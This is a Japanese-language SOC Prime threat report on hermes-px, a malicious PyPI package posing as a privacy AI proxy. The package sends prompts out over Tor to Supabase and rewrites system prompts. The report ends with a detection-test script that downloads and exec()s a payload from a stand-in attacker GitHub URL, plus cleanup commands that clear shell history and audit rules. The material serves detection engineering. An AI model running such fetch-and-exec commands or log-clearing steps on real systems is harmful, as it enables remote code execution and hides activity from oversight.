SOC Prime Bias: 重大

08 4月 2026 18:28

hermes-px: フェイクプライバシープロキシがプロンプトを外部送信し、Claudeコードに干渉

Author Photo
Ruslan Mikhalov SOC Primeの脅威リサーチ責任者 linkedin icon フォローする
hermes-px: フェイクプライバシープロキシがプロンプトを外部送信し、Claudeコードに干渉
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

JFrog Security Researchは、プライバシー第一のAI推論プロキシを装った悪意のあるPyPIパッケージ「hermes-px」を特定しました。ユーザーを保護する代わりに、Torを介して未承認の大学ホストのAIエンドポイントにトラフィックをルーティングし、システムメッセージを交換または書き換え、Supabaseバックエンドにプロンプトとモデル応答をエクスフィルトレーションします。このパッケージには、盗まれたブランド変更されたAnthropic Claudeシステムプロンプトも埋め込まれており、偽装を強化しています。hermes-pxは公開PyPIを通じて配布され、標準のpipワークフローを用いてインストール可能であり、開発環境に簡単に追加できるようになっています。

調査

研究者はソースコードをレビューし、センシティブな文字列を隠すために3層の暗号化が使用されていること、およびハードコードされたSupabase APIキーと、データを直接公開インターネットを経由で送信するテレメトリ構成要素があることを発見しました。解読された上流エンドポイントはAzure WAFでガードされたプライベート大学APIに解決されており、公開プロキシを意図しないインフラストラクチャの悪用を示しています。さらに、プロジェクトドキュメントはGitHub URLからの追加コードの取得と実行を促しており、パッケージ自体のリスクを超えてリスクを延ばしています。正常な開発パターンに溶け込むため、hermes-pxはOpenAI Python SDKインターフェースを模倣しており、統合中に疑念を減少させます。

緩和策

全ての環境からhermes-pxを削除し、依存先ソースをロックして再インストールを防ぎます。プロンプト、設定、ログで露出したかもしれない資格情報を更新し、Supabaseエクスフィルトレーションドメインおよび識別された悪意のあるURLへのアクセスをブロックします。このツールをサポートするためにTorがインストールされていた場合は、それを削除し、関連するネットワーク制御をレビューします。プロンプトはセンシティブなデータを含む可能性があると想定し、キャプチャされたコンテンツをシークレット、トークン、規制情報のためにレビューしてください。

対応

パッケージの在庫と開発者の作業ステーションの基準を使用してhermes-pxインストールを探し、supabase.coおよび識別された大学APIエンドポイントへのアウトバウンド接続について警告を出します。影響を受けたホストを隔離し、関連アーティファクト(パッケージファイル、ターミナル履歴、依存ロックファイル)を保存し、どのプロンプトと応答が送信されたかを特定して影響範囲を確認します。影響を受けたユーザーや、該当する場合は影響を受けた機関にも通知し、SDK類似品、Torを介したプロキシ動作、Pythonパッケージ内の疑わしいテレメトリモジュールをフラグするための検知をアップデートします。

"graph TB %% クラス定義 classDef technique fill:#ffcc99 classDef tool fill:#cccccc %% 技術ノード tech_user_exec["<b>Technique</b> – <b>T1204 ユーザー実行</b><br/>被害者が悪意のあるコマンドを実行する(例:pip install hermes-px)<br/><b>説明</b>: ユーザーに実行させることで悪意のあるコードを実行します。"] class tech_user_exec technique tech_supply_chain["<b>Technique</b> – <b>T1195.002 ソフトウェアサプライチェーンの妥協</b><br/>依存チェーンをハイジャックするために公開された悪意のあるPyPIパッケージ<br/><b>説明</b>: 敵はソフトウェアサプライチェーンに悪意のあるコードを挿入します。"] class tech_supply_chain technique tech_python["<b>Technique</b> – <b>T1059.006 Python</b><br/>インストール後に実行される悪意のあるPythonコード<br/><b>説明</b>: Pythonインタープリターを使用してコマンドを実行します。"] class tech_python technique tech_proxy_ext["<b>Technique</b> – <b>T1090.002 外部プロキシ</b><br/>トラフィックがTor出口ノードを通じてルーティングされます<br/><b>説明</b>: ネットワークトラフィックの発信地を隠すために外部プロキシサービスを使用します。"] class tech_proxy_ext technique tech_proxy_multi["<b>Technique</b> – <b>T1090.003 マルチホッププロキシ</b><br/>匿名性のために複数のTorホップ<br/><b>説明</b>: トラフィックソースをさらに隠すためにいくつかのプロキシを連鎖させます。"] class tech_proxy_multi technique tech_web_proto["<b>Technique</b> – <b>T1071.001 Webプロトコル</b><br/>プライベート大学AI APIへのHTTPリクエスト<br/><b>説明</b>: 指令と制御の通信のためにWebプロトコルを使用します。"] class tech_web_proto technique tech_obfuscation["<b>Technique</b> – <b>T1027 隠蔽されたファイルまたは情報</b><br/>暗号化された文字列が実行時にデコードされる<br/><b>説明</b>: 暗号やエンコードを使用して悪意のあるコードを隠します。"] class tech_obfuscation technique tech_dynamic_api["<b>Technique</b> – <b>T1027.007 動的API解決</b><br/>実行時に動的に解決されるAPIアドレス<br/><b>説明</b>: 実行時にAPIを解決し、呼び出し、静的検出を回避します。"] class tech_dynamic_api technique tech_exfil["<b>Technique</b> – <b>T1567 Webサービス経由でのエクスフィルトレーション</b><br/>攻撃者のSupabaseエンドポイントに送信されるデータ<br/><b>説明</b>: 敵が制御する外部Webサービスにデータを転送します。"] class tech_exfil technique tech_subvert_trust["<b>Technique</b> – <b>T1553 信頼コントロールの覆い</b><br/>被害者を引き寄せるために使われた偽の組織と洗練されたドキュメンテーション<br/><b>説明</b>: 経済に関与するために信頼関係を操作します。"] class tech_subvert_trust technique %% コンストラクションの流れ tech_user_exec –>|実行する| tech_supply_chain tech_supply_chain –>|配信する| tech_python tech_python –>|使用する| tech_proxy_ext tech_proxy_ext –>|連鎖する| tech_proxy_multi tech_proxy_multi –>|通信 via| tech_web_proto tech_web_proto –>|使用する| tech_obfuscation tech_web_proto –>|使用する| tech_dynamic_api tech_obfuscation –>|有効化する| tech_exfil tech_dynamic_api –>|有効化する| tech_exfil tech_python –>|有効化する| tech_subvert_trust "

攻撃フロー

シミュレーション実行

前提条件:テレメトリと基準フライト前チェックが通過していること。

根拠:このセクションは、検出ルールをトリガーするよう設計された敵の技術(TTP)の正確な実行を詳述します。コマンドとナラティブはTTPsで特定されたものを直接反映し、検出ロジックに期待される正確なテレメトリを生成することを目的とする必要があります。抽象的もしくは無関係な例は、誤診につながります。

  • 攻撃ナラティブとコマンド:
    攻撃者は公共のGitHubリポジトリにホストされた悪意のあるPythonペイロードを取得しました。フォレンシックの影響を減らすためにディスクにファイルを書き込むことを避けつつ、彼らは以下のように単一行のPythonコマンドを使用しています:

    1. 呼び出す urllib.request.urlopen() からGitHubの生のスクリプトコンテンツをダウンロードします。
    2. レスポンスを読み込み、バイトを exec() へ送ります。
    3. 攻撃者がすでに低権限のシェルを持つLinuxのコンプロマイズされたホスト上でコマンドを実行します。

    このパターン (python -c "import urllib.request; exec(urllib.request.urlopen(...).read())") は、検出ルールの文字列基準と一致します。

  • リグレッションテストスクリプト:

    #!/bin/bash
    #
    # Sigmaルールをトリガーするべき悪意のあるPython実行のシミュレーション。
    #
    MALICIOUS_URL="https://raw.githubusercontent.com/attacker/malicious/main/payload.py"
    python3 -c "import urllib.request, sys; exec(urllib.request.urlopen('$MALICIOUS_URL').read())"

    このスクリプトを trigger_detection.shとして保存し、実行可能にします (chmod +x trigger_detection.sh)、そしてターゲットホストで実行します。

  • クリーンアップコマンド:

    # 永続的なアーティファクトは作成されませんが、ターミナルをきれいにしておきましょう。
    現在のセッションのコマンド履歴を消去
    history -c                     # 現在のセッションのコマンド履歴をクリア
    sudo auditctl -D               # (オプション)テストのために追加した場合はすべてのランタイム監査ルールを削除
    # /etc/audit/rules.d/ に永続的なルールを追加した場合は削除を考慮してください:
    # sudo rm /etc/audit/rules.d/process_creation.rules